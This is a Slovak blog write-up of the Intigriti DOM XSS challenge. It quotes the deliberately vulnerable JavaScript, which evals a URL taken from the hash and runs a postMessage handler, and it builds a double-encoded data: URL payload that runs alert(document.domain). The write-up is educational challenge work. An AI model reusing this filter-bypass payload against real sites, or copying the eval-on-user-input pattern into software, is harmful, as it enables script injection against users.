24 máj 2019 / 5 minút čítania
Intigriti bug bounty platforma zverejnila DOM XSS Challenge. Cieľom bolo identifikovať a exploitovať DOM XSS zraniteľnosť. A to tak, že sa po načítaní URL sa zobrazí pop-up okno s hodnotou document.domain, v tomto prípade (challenge.intigriti.io).
Zraniteľná URL obsahovala jednoduchý JS kód:
const url = new URL(decodeURIComponent(document.location.hash.substr(1))).href.replace(/script|<|>/gi, "forbidden");
const iframe = document.createElement("iframe"); iframe.src = url; document.body.appendChild(iframe);
iframe.onload = function(){
window.addEventListener("message", executeCtx, false);
}
function executeCtx(e) {
if(e.source == iframe.contentWindow){
e.data.location = window.location;
Object.assign(window, e.data);
eval(url);
}
}
Po krátkej analýze kódu sme identifikovali:
document.location.hash.substr(1) (je to tzv. "source" - vstup používateľa)iframe -> document.body.appendChild(iframe)message event listener window.addEventListener("message", executeCtx, false); a funkciu (handler), ktorá spracuje túto udalosť function executeCtx(e)eval(url) s používateľským vstupom (je to tzv. "sink")Pozrime sa bližšie na to, ako sa spracováva vstup používateľa - "source":
const url = new URL(decodeURIComponent(document.location.hash.substr(1))).href.replace(/script|<|>/gi, "forbidden");
Časť kódu robí nasledovné:
document.location.hash.substr(1)https://challenge.intigriti.io#FRAGMENT_DATA -> FRAGMENT_DATAdecodeURIComponentURLhttps://example.com, data:text/html,contentscript, < and > a nahradí ich reťazcom forbidden%253Csvg onload=alert()%253E -> %3Csvg onload=alert()%3E.Druhý riadok kódu:
const iframe = document.createElement("iframe"); iframe.src = url; document.body.appendChild(iframe);
iframe, do ktorého vstupujú údaje z URL fragmentu ako iframe.srciframeZvyšok JS kódu implementuje listener a handler funkcie, pre spracovanie udalostí:
iframe.onload = function(){
window.addEventListener("message", executeCtx, false);
}
function executeCtx(e) {
if(e.source == iframe.contentWindow){
e.data.location = window.location;
Object.assign(window, e.data);
eval(url);
}
}
Kód vykonáva nasledovné:
message event listener pre iframeWindow objektami (dokumentácia)iframe pomocou JS volania postMessage napr. window.postMessage({'key': 'value'}, '*')executeCtx(e)iframe.contentWindow{}url alebo iframe.src vstupujú do funkcie eval(url)Pre úspešnú exploitáciu, musíme zabezpečiť, aby údaje z URL fragmentu mali nasledovné vlastnosti:
Pre vykonanie exploitu musíme:
executeCtx s našim payloadomTreba si uvedomiť, že každá URL schéma je zároveň aj syntakticky správny JS kód, pretože má rovnakú syntax ako label. Label syntax je nasledovná:
label :
statement
URL schéma vyzerá nasledovne:
https://example.com
Je to label s komentárom // (source). Všetko za // je komentár. Avšak, v prípade, keď je možné vložiť nový riadok napr. pomocou \x0a tak sa kód vykoná, pretože to ukončí komentár a ďalej pokračuje JS kód:
eval("https://example.com\x0aalert('scheme payload')")
Alebo namiesto vloženia nového riadku môžeme použiť URL schému data. Syntax je nasledovná:
data:[<mediatype>][;base64],<data>
Pozrime si data URL schému s obsahom typu text/html, ako sa bude chovať v prípade, že ju spracujeme ako JS:
data:text/html,<svg onload=alert()>
datatext, html/,<svg onload=alert()>Avšak je možné skomponovať správnu syntax a to nasledovne:
data:text/html,/*<svg onload=alert()>*/ 1; var text=1, html=2; alert('scheme payload');
Kde vidíme:
/*<svg onload=alert()>*/1, kvôli predchádzajúcej čiarke;var text=1, html=2;alert('scheme payload');Už nám chýba iba odoslať správu (post message), ktorá zavolá handler. Toho môžeme dosiahnuť pomocou funckie postMessage. Handler skontroluje, či bol odosielateľom správy iframe. Payload vyzerá nasledovne:
data:text/html,/*<svg onload="parent.postMessage({},'*')">*/ 1; var text=1, html=2; alert(document.domain);
Zakomentovaný reťazec /*<svg onload="parent.postMessage({},'*')">*/ je validné HTML, ktoré sa vykoná v iframe. Kód v kontexte objektu iframe odošle prázdnu správu pomocou parent.postMessage({},'*'). Táto správa je spracovaná pomocou handler funkcie executeCtx. Všetky požadované podmienky tak budú splnené:
iframeeval(url), ktorá JS kód zavoláVýsledný payload musí byť dvakrát URL kódovaný, z dôvodu ošetrovania vstupu. Vyzerá nasledovne:
data:text/html,/*%253Csvg%20onload=%22parent.postMessage({},'*')%22;%253E*/1;var%20text=1,html=2;alert(document.domain);
Pre vykonanie exploitu je potrebné otvoriť nasledovnú URL:
https://challenge.intigriti.io/#data:text/html,/*%253Csvg%20onload=%22parent.postMessage({},'*')%22;%253E*/1;var%20text=1,html=2;alert(document.domain);
Po načítaní sa zobrazí vyskakovanie okno s textom "challenge.intigriti.io".
Všetky články
Prihláste sa k odberu nášho newslettera a získajte všetky dôležité novinky v oblasti kybernetickej bezpečnosti a etického hackovania.